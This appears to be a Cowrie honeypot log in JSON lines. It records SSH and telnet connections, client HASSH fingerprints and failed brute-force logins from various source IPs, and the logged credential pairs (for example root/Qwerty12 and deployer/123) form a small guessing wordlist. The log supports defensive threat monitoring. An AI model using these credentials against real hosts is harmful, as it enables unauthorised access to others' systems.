{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:52.182818Z","src_ip":"180.243.191.141","session":"9e64774a9a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12","message":"login attempt [root/Qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:53.267992Z","src_ip":"180.243.191.141","session":"9e64774a9a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:16:54.539347Z","src_ip":"180.243.191.141","session":"9e64774a9a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.84.81","src_port":41756,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed5fbb410f6","protocol":"telnet","message":"New connection: 8.219.84.81:41756 (10.17.0.5:23) [session: 0ed5fbb410f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:01.630231Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":45722,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3e2de1093d","protocol":"ssh","message":"New connection: 186.233.118.22:45722 (159.203.135.109:22) [session: 3a3e2de1093d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:04.466722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:04.471990Z","src_ip":"186.233.118.22","session":"3a3e2de1093d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:04.591292Z","src_ip":"186.233.118.22","session":"3a3e2de1093d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":60576,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfe7ee1dacd","protocol":"telnet","message":"New connection: 180.235.129.180:60576 (10.17.0.5:23) [session: 7cfe7ee1dacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:04.667194Z"}
{"eventid":"cowrie.login.failed","username":"foundry","password":"1234","message":"login attempt [foundry/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:05.095609Z","src_ip":"186.233.118.22","session":"3a3e2de1093d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:06.217429Z","src_ip":"186.233.118.22","session":"3a3e2de1093d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":44342,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b84b574a58d","protocol":"ssh","message":"New connection: 213.230.127.104:44342 (10.17.0.5:22) [session: 5b84b574a58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:11.995969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:12.004406Z","src_ip":"213.230.127.104","session":"5b84b574a58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:12.175127Z","src_ip":"213.230.127.104","session":"5b84b574a58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123","message":"login attempt [deployer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:12.877395Z","src_ip":"213.230.127.104","session":"5b84b574a58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:14.049934Z","src_ip":"213.230.127.104","session":"5b84b574a58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.246.14.196","src_port":34800,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e14c2d8ede","protocol":"ssh","message":"New connection: 186.246.14.196:34800 (159.203.135.109:22) [session: c0e14c2d8ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:24.456778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:24.461946Z","src_ip":"186.246.14.196","session":"c0e14c2d8ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:24.628788Z","src_ip":"186.246.14.196","session":"c0e14c2d8ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"front","password":"front","message":"login attempt [front/front] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:25.326148Z","src_ip":"186.246.14.196","session":"c0e14c2d8ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:26.496910Z","src_ip":"186.246.14.196","session":"c0e14c2d8ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.518532514572144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:32.148665Z","src_ip":"8.219.84.81","session":"0ed5fbb410f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":36348,"dst_ip":"159.203.135.109","dst_port":22,"session":"dce78ce2eef9","protocol":"ssh","message":"New connection: 103.173.227.57:36348 (159.203.135.109:22) [session: dce78ce2eef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:34.309737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:34.314274Z","src_ip":"103.173.227.57","session":"dce78ce2eef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:34.573917Z","src_ip":"103.173.227.57","session":"dce78ce2eef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":39406,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8733aa195db","protocol":"ssh","message":"New connection: 20.203.42.204:39406 (10.17.0.5:22) [session: a8733aa195db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:34.742752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:34.748438Z","src_ip":"20.203.42.204","session":"a8733aa195db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:34.916764Z","src_ip":"20.203.42.204","session":"a8733aa195db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barabashka","message":"login attempt [root/barabashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:35.345122Z","src_ip":"103.173.227.57","session":"dce78ce2eef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12","message":"login attempt [root/Qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:35.621255Z","src_ip":"20.203.42.204","session":"a8733aa195db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:36.604171Z","src_ip":"103.173.227.57","session":"dce78ce2eef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:36.791370Z","src_ip":"20.203.42.204","session":"a8733aa195db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00690484046936,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:47.937065Z","src_ip":"186.55.200.230","session":"183846e84428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.243.191.141","src_port":26655,"dst_ip":"10.17.0.5","dst_port":22,"session":"248c1d823c65","protocol":"ssh","message":"New connection: 180.243.191.141:26655 (10.17.0.5:22) [session: 248c1d823c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:48.899893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:48.907985Z","src_ip":"180.243.191.141","session":"248c1d823c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:49.187718Z","src_ip":"180.243.191.141","session":"248c1d823c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":44234,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e05c19bb779","protocol":"telnet","message":"New connection: 186.55.200.230:44234 (159.203.135.109:23) [session: 6e05c19bb779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:49.338630Z"}
{"eventid":"cowrie.session.closed","duration":120.00245547294617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:50.363847Z","src_ip":"186.55.200.230","session":"71a1c8f4257c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00297451019287,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:51.899669Z","src_ip":"186.55.200.230","session":"c01218e37e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":44258,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1730142db57","protocol":"telnet","message":"New connection: 186.55.200.230:44258 (159.203.135.109:23) [session: f1730142db57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:53.816850Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":38700,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4137c53d97e","protocol":"ssh","message":"New connection: 45.165.238.2:38700 (10.17.0.5:22) [session: f4137c53d97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:54.797038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:54.804396Z","src_ip":"45.165.238.2","session":"f4137c53d97e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:54.936320Z","src_ip":"45.165.238.2","session":"f4137c53d97e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:55.490012Z","src_ip":"45.165.238.2","session":"f4137c53d97e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:55.863206Z","src_ip":"180.243.191.141","session":"248c1d823c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:17:56.627218Z","src_ip":"45.165.238.2","session":"f4137c53d97e","protocol":"ssh"}
